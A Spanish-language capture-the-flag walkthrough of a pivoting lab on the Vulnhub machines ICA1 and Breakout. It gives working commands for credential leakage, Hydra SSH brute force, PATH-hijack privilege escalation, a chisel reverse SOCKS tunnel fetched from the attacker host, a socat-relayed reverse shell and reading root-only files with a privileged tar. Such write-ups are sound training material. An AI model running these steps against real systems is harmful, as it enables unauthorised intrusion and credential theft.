Laboratorio - Pivoting
Laboratorio de Pivoting con 2 Máquinas de Vulnhub (ICA1 y Breakout), la máquina objetivo será ‘Breakout’ la cual está conectada en una subred con la máquina ICA1, la cual usaremos de puente para llegar a la máquina objetivo.
Vulnerando la Máquina ICA1 🐱👤
a. Identificamos la dirección IP de la Máquina ICA1 con arp-scan
b. Enumeramos los puertos que están abiertos.
c. Vemos las versiones de los servicios que se están ejecutando en los puertos.
d. Al buscar con searchsploit alguna vulnerabilidad para el servicio qdPM vemos que podemos leer la contraseña de este servicio si visitamos la ruta **http://
databases.yml
1 2
username: qdpmadmin password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
Con estas credenciales nos autenticamos en el servicio mysql
1 2
root@kali> mysql -h 192.168.100.27 -u qdpmadmin -p'UcVQCMQk2STVeS6J' MySQL [(none)]>
Las credenciales las podemos ver usando la base de datos staff y con la siguiente sentencia SQL
1 2 3 4 5 6 7 8 9 10 11 12
MySQL [(none)]> use staff; MySQL [staff]> select u.name, l.password from login as l JOIN user as u ON u.id=l.user_id; +--------+--------------------------+ | name | password | +--------+--------------------------+ | Smith | WDdNUWtQM1cyOWZld0hkQw== | | Lucas | c3VSSkFkR3dMcDhkeTNyRg== | | Travis | REpjZVZ5OThXMjhZN3dMZw== | | Dexter | N1p3VjRxdGc0MmNtVVhHWA== | | Meyer | Y3FObkJXQ0J5UzJEdUpTeQ== | +--------+--------------------------+
Todas las credenciales están en base64, así que las decodeamos
1 2 3 4 5 6 7
root@kali> cat sql | awk '{print $4}' | while read line; do echo "$line" | base64 -d;echo; done X7MQkP3W29fewHdC suRJAdGwLp8dy3rF DJceVy98W28Y7wLg 7ZwV4qtg42cmUXGX cqNnBWCByS2DuJSy
e. Guardamos los usuarios y las contraseñas en archivos y usaremos hydra para probar con todas las credenciales
1
2
3
4
5
root@kali> hydra -L users.txt -P passwords.txt ssh://192.168.100.27
[22][ssh] host: 192.168.100.27 login: travis password: DJceVy98W28Y7wLg
root@kali> sshpass -p 'DJceVy98W28Y7wLg' ssh travis@192.168.100.27
travis@debian:~$
Escalada de Privilegios 💹
a. Vemos que existe el usuario dexter del cual tenemos la contraseña, por lo que nos transformamos en este usuario
1
2
travis@debian:/home$ su dexter
Password: 7ZwV4qtg42cmUXGX
En el directorio de este usuario tenemos la siguiente nota
1 2 3 4
dexter@debian:/home/dexter$ cat note.txt It seems to me that there is a weakness while accessing the system. As far as I know, the contents of executable files are partially viewable. I need to find out if there is a vulnerability or not.
Aquí nos dicen que no se sabe si ver parcialmente el código de ejecutables sea un riesgo.
Consultamos por binarios SUID en el sistema
1 2 3
dexter@debian:/home/dexter$ find / -perm -4000 2>/dev/null /opt/get_access <SNIP>
Listamos las cadenas legibles de este binario
1 2 3 4
dexter@debian:/home/dexter$ strings /opt/get_access <SNIP> cat /root/system.info <SNIP>
cat se llama de manera relativa por lo que es vulnerable a un Path Hijacking
b. Creamos un fichero con el nombre de cat el cual contenga chmod +s /bin/bash
y le damos permisos de ejecución, alteramos nuestro PATH para que se tome como prioridad la ruta /tmp
1
2
3
4
5
dexter@debian:/tmp$ echo -n 'chmod +s /bin/bash' > cat
dexter@debian:/tmp$ chmod +x cat
dexter@debian:/tmp$ export PATH=/tmp:$PATH
dexter@debian:/tmp$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Ahora ejecutamos de nuevo el binario SUID y veremos que se cambiaron los permisos de la bash
1 2 3
dexter@debian:/tmp$ /opt/get_access dexter@debian:/tmp$ ls -la /bin/bash -rwsr-sr-x 1 root root 1234376 Aug 4 2021 /bin/bash
c. Por últimos nos convertimos en root con bash -p
1
2
3
dexter@debian:/home/dexter$ bash -p
bash-5.1# whoami
root
Vulnerando la Máquina Breakout 🤖
a. Vemos las interfaces de red en la Máquina ICA1
1
2
bash-5.1# hostname -I
10.0.2.5 192.168.100.27
Tenemos una segunda interfaz de red en el segmento 10.0.2.0/24
b. Escaneamos por hosts activos en esta subred con un script en bash
hosts.sh
1 2 3 4 5 6 7 8 9
#!/bin/bash greenColour="\e[0;32m\033[1m" endColour="\033[0m\e[0m" blueColour="\e[0;34m\033[1m" for host in $(seq 1 255);do timeout 1 bash -c "ping -c 1 10.0.2.$host" &>/dev/null && echo -e "${greenColour}[+] Host Activo:${endColour} ${blueColour}10.0.2.$host${endColour}" & done; wait
1 2 3 4
bash-5.1# ./hosts.sh [+] Host Activo: 10.0.2.5 (ICA1) [+] Host Activo: 10.0.2.4 (Breakout) [+] Host Activo: 10.0.2.1
c. Para escanear el host 10.0.2.4
fácilmente usaremos chisel
Nos decargamos chisel en nuestra máquina y lo subimos a la ICA1
1 2 3
root@kali> python -m http.server 8080 ---------------------------------------------------- bash-5.1# wget http://<IP Atacante>:8080/chisel -o-
1 2 3
root@kali> ./chisel server --reverse -p 4444 ----------------------------------------------------- bash-5.1# ./chisel client <IP Atacante>:4444 R:socks
Con esto tendremos una conexión de tipo socks5 la cual deberemos añadir al archivo /etc/proxychains4.conf
1 2 3 4 5 6
root@kali> cat /etc/proxychains4.conf <SNIP> # Quiet mode (no output from library) quiet_mode <SNIP> socks5 127.0.0.1 1080
d. Ahora, ya podemos acceder a la Máquina Breakout para analizarla.
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos 21,80
c. Para acceder al servicio web de Breakout usaremos FoxyProxy
d. Al fijarnos en el código fuente de la página web (http://10.0.2.4), encontramos una credencial escrita en brainfuck
1
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
- Lo decodeamos en dcode y la veremos en texto claro .2uqPEfj3D<P’a-3
e. Enumeramos un usuario válido con rpcclient
1
2
3
4
5
root@kali> cat /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | xargs -P 10 -I {} proxychains rpcclient -N -U "" 10.0.2.4 -c "lookupnames {}" 2>&1 | grep -vE "NT_STATUS_NONE_MAPPED|proxychains"
<SNIP>
cyber S-1-22-1-1000 (User: 1)
<SNIP>
- Con esto ya tenemos credenciales
cyber:.2uqPEfj3D<P'a-3
. - Tenemos 2 paneles https://10.0.2.4:20000/ (Usermin) y https://10.0.2.4:10000/ (Webmin)
f. Al momento de acceder a estos servicios se quedarán cargando y no podremos acceder, por lo que realizaremos Local Port Forwarding
con SSH para acceder a un puerto a la vez
1
root@kali> sshpass -p 'DJceVy98W28Y7wLg' ssh -L 20000:10.0.2.4:20000 travis@192.168.100.27
20000:10.0.2.4:20000
: Decimos que el puerto 20000 de nuestraMáquina Atacante
sea ocupado por el servicio que se ejecuta en el puerto 20000 de laMáquina Breakout
1 2 3 4
root@kali> lsof -i:20000 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME ssh 167141 root 4u IPv6 929073 0t0 TCP localhost:20000 (LISTEN) ssh 167141 root 5u IPv4 929074 0t0 TCP localhost:20000 (LISTEN)
Verificamos si el
Local Port Forwarding
funcionó.
e. Ahora podemos auntenticarnos en el servicio Usermin sin necesidad de un proxy https://127.0.0.1:20000/, una vez autenticados, presionamos Alt
+ K
para desplegar una consola.
Nos enviaremos una reverse shell a nuestra Máquina Atacante, pero, usaremos socat para utilizar la Máquina ICA1 como puente
Subimos socat a la Máquina ICA1 y establecemos una regla para que toda conexión entrante por un puerto sea redirigido a otro host por un puerto dado
1
bash-5.1# ./socat TCP-LISTEN:4444,fork TCP:<IP Atacante>:443
Toda conexión recibida por el puerto
4444
será redigirida a nuestra máquina atacante por el puerto443
Nos ponemos en escucha con nc en nuestra Máquina Atacante, y enviamos la shell desde la terminal del servicio web al host ICA1 (10.0.2.5)
f. Investigamos formas de escalar privilegios y encontramos un binario tar
en nuestro directorio de usuario y un fichero .old_pass.bak
1
2
3
4
5
cyber@breakout:~$ ls -la
-rwxr-xr-x 1 root root 531928 Oct 19 2021 tar
cyber@breakout:/var/backups$ ls -la
-rw------- 1 root root 17 Oct 20 2021 .old_pass.bak
Vemos que el dueño del binario tar es root y cualquier otro usuario lo puede ejecutar, por lo que usaremos este binario en específico para comprimir el fichero .old_pass.bak
1 2 3 4
cyber@breakout:/var/backups$ /home/cyber/tar -czvf /tmp/old_pass.tar.gz .old_pass.bak cyber@breakout:/tmp$ /home/cyber/tar -xzvf old_pass.tar.gz cyber@breakout:/tmp$ cat .old_pass.bak Ts&4&YurgtRX(=~h
g. Esta contraseña es del usuario root por lo que hemos culminado el laboratorio de Pivoting 1
🐱🐉
1
2
3
4
5
6
cyber@breakout:/tmp$ su root
Password: Ts&4&YurgtRX(=~h
root@breakout:~# cat rOOt.txt
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}
Author: Icex64 & Empire Cybersecurity